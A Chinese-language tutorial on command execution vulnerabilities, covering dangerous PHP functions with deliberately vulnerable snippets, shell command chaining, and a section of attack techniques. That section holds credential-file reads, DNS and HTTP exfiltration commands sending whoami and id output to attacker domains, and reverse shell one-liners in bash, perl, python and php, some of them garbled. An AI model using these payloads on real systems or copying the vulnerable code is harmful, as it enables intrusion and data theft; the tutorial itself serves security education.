# 漏洞描述
命令执行漏洞(Command Execution Vulnerability),也被称为代码注入漏洞,是一种常见的安全漏洞类型,它允许攻击者在受影响的应用程序或系统中执行恶意命令。这种漏洞通常发生在那些未能正确验证和过滤用户输入数据的应用程序中,尤其是涉及用户输入的命令执行过程。
攻击者可以利用命令执行漏洞来执行系统命令、操作系统脚本或其他恶意代码,从而获取未授权的访问权限、窃取敏感信息、破坏系统功能,甚至控制整个系统。这种漏洞可能会导致严重的数据泄露、拒绝服务攻击或滥用系统资源。
# 常见函数
导致命令执行漏洞的系统命令执行函数通常是那些允许执行外部系统命令的函数。以下是一些常见的导致命令执行漏洞的函数:
- system () 函数 (有回显): PHP 中的 system () 函数用于执行系统命令,并返回命令的输出。如果用户输入未经适当过滤,攻击者可以通过注入恶意命令来执行任意系统命令。
system($_GET['user_input']); |
- exec () 函数 (回显最后一行 - 必须 echo 输出):exec () 函数类似于 system (),允许执行系统命令,但它返回命令的最后一行输出。同样,不正确处理用户输入可能导致漏洞。
exec($_POST['user_input']); |
- shell_exec () 函数(无回显):这个函数用于执行系统命令并返回命令的完整输出。它也容易受到命令执行漏洞的威胁。
$input = $_REQUEST['user_input']; | |
shell_exec("ls $input"); |
- passthru () 函数 (有回显):passthru () 函数执行系统命令并将命令的输出直接发送到浏览器。如果用户输入未经验证,攻击者可以注入恶意命令来直接影响浏览器输出。
passthru($_GET['user_input']); |
- backticks (`):在 PHP 中,反引号(反引号)可以用来执行系统命令。攻击者可以在反引号内插入任意命令。
$input = $_GET['user_input']; | |
$output = `$input`; |
- proc_open () 函数:这个函数用于创建进程,并可以执行系统命令。
$descriptorspec = array( | |
0 => array("pipe", "r"), | |
1 => array("pipe", "w"), | |
); | |
$process = proc_open($_POST['user_input'], $descriptorspec, $pipes); |
- eval () 函数:虽然不是专门用于执行系统命令,但 eval () 函数用于执行动态生成的 PHP 代码,因此如果不谨慎使用,也可能导致命令执行漏洞。
$code = $_POST['user_input']; | |
eval($code); |
上述函数在处理用户输入时需要特别小心,确保适当的验证和过滤,或者尽量避免使用它们,以减少潜在的命令执行漏洞风险。建议使用参数化命令、白名单验证和安全的输入处理来防止这些漏洞。
# 代码分析
<?php | |
if ($_SERVER['REQUEST_METHOD'] === 'GET') { | |
// 从 GET 参数中获取用户提供的命令 | |
$command = $_GET['cmd']; | |
if ($command) { | |
// 执行用户提供的命令并获取命令的输出 | |
$output = shell_exec($command); | |
// 将命令的输出显示在页面上 | |
echo "Command Output:<pre>$output</pre>"; | |
} else { | |
// 如果未提供命令参数,显示提示信息 | |
echo 'Please provide a command using the "cmd" parameter.'; | |
} | |
} | |
?> |
这个示例创建一个简单的 PHP 页面,它接受名为 “cmd” 的 GET 参数,并将其用作系统命令的一部分,然后将命令的输出显示在页面上。这种做法是非常危险的,因为用户可以输入任何系统命令,导致潜在的命令执行漏洞。
在实际应用中,绝对不要以这种方式处理用户输入,因为它允许攻击者执行恶意命令。应该进行适当的验证、过滤和参数化命令,以确保用户输入不会被误解为可执行代码。
# 命令执行基础
# 多条命令执行
linux
分号 `;`:分号用于将多个命令按顺序连接在一起,不管前一个命令是否成功执行,都会继续执行下一个命令。 | |
command1 ; command2 | |
例如: | |
ping 127.0.0.1 ; ls | |
两条命令都会执行 |
双与号 &&: 双与号用于将多个命令连接在一起,只有前一个命令成功执行(返回退出状态码为0)时,才会继续执行下一个命令。 | |
command1 && command2 |
双竖线 ||: 双竖线用于将多个命令连接在一起,只有前一个命令未成功执行(返回退出状态码不为0)时,才会继续执行下一个命令。 | |
command1 || command2 | |
例如: | |
pinyyt 127.0.0.1 || ls | |
因为没有这个命令所以报错后面的ls将会执行 |
分号和 &: 分号和 & 结合在一起使用时,可以使命令在后台运行,而不会阻塞终端。这在需要运行长时间任务或定时任务时非常有用。 | |
command1 & command2 |
反引号 `: 反引号用于将命令的输出赋给变量。它允许您在命令中嵌套执行其他命令,并将结果存储在变量中。 | |
result=`command1` |
花括号 {}: 花括号用于将多个命令分组在一起,以便可以在连接符的上下文中将多个命令视为一个命令。 | |
{ command1 ; command2 ; command3 ; } |
Windows
&: 在 Windows 中,& 符号用于连接多个命令,按顺序执行它们。 | |
command1 & command2 | |
例如: | |
ping 127.0.0.1 & dir |
&&: && 符号用于连接多个命令,只有前一个命令成功执行(返回退出代码为0)时,才会继续执行下一个命令。 | |
command1 && command2 | |
例如: | |
ping 127.0.0.1 && dir | |
前面命令必须成功 |
||: || 符号用于连接多个命令,只有前一个命令未成功执行(返回退出代码不为0)时,才会继续执行下一个命令。 | |
command1 || command2 | |
例如: | |
pingyyy 127.0.0.1 || dir |
|: 在 Windows 中,| 符号用于将一个命令的输出作为另一个命令的输入,实现管道操作。 | |
command1 | command2 |
^: 用于在 Windows 命令提示符中分行输入长命令,可以将 ^ 放在行尾来延续命令。 | |
command1 ^ | |
command2 |
# 命令执行获取敏感信息
win 操作系统
type c:\windows\win.ini
linux 操作系统
cat /etc/passwd
# 命令执行无回显
# DNS 外带
win 命令
win 命令比较复杂
for /F "delims=" %i in (‘whoami’) do ping -n 1 %i.nsalgofymd.dgrh3.cn (获得计算机名)
for /F “delims=\ tokens=2” %i in (‘whoami’) do ping -n 1 %i.nsalgofymd.dgrh3.cn(获取用户名)
for /F "delims=\" %i in ('whoami'):这部分是一个for循环命令。它使用for命令来遍历whoami命令的输出,并将输出中的每一行(以反斜杠\作为分隔符)分配给变量%i。do ping -n 1 %i.nsalgofymd.dgrh3.cn:一旦for循环遍历whoami的输出,它会执行do后的命令。在这个例子中,它执行了ping命令,试图将%i.nsalgofymd.dgrh3.cn的主机名解析为 IP 地址并发送一个 ICMP 回显请求(Ping)。- 这个命令的目的是通过执行
whoami命令获取当前用户的信息,然后将这个信息用作主机名的一部分,然后尝试对这个构建的主机名进行 Ping 操作。


linux
ping -c 1 whoami.nsalgofymd.dgrh3.cn
# 写入文件
可以通过 > 把内容输入到文件里然后访问文件查看
例如:
whoami > admin
然后浏览器访问这个文件 http://xxx.xxx.xxx/xxx/admin
# 时间盲注
可以通过时间盲注跑数据借助 || && 的惰性
linux 使用 seelp 函数
win 使用比较耗时间的 ping -n 5
# HTTP 外带
开一个 http 服务自己的域名 gyzero.shop
linux 管道利用 wget,curl 进行数据外带会在服务器日志有记录如下
ping -c 3curl gyzero.shop/ls
ping -c 3wget gyzero.shop/$(id|base64)
windows
powershell 进行外带数据
for /F %x in (echo 'zzzz') do powershell $b =
[system.convert]::tobase64string(system.text.encoding)::utf-8.getbytes(‘%x’)):$b=new=object
system.net.webclient;$b.downloadstring('http://gyzero.shop/httplig/'+$a);
# 反弹 shell
远程服务器 nc 监听
nc -vlnp 8080
受害者反弹 shell
- bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
- perl -e 'use
- Socket;p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect( S,sockaddr_in(i)))){open(STDIN,“>&S”);open(STDOUT,“>&S”);open(STDERR,“>&S”);ex ec(“/bin/sh -i”);};’
- python -c 'import
- socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1 ",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
- os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’
- php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’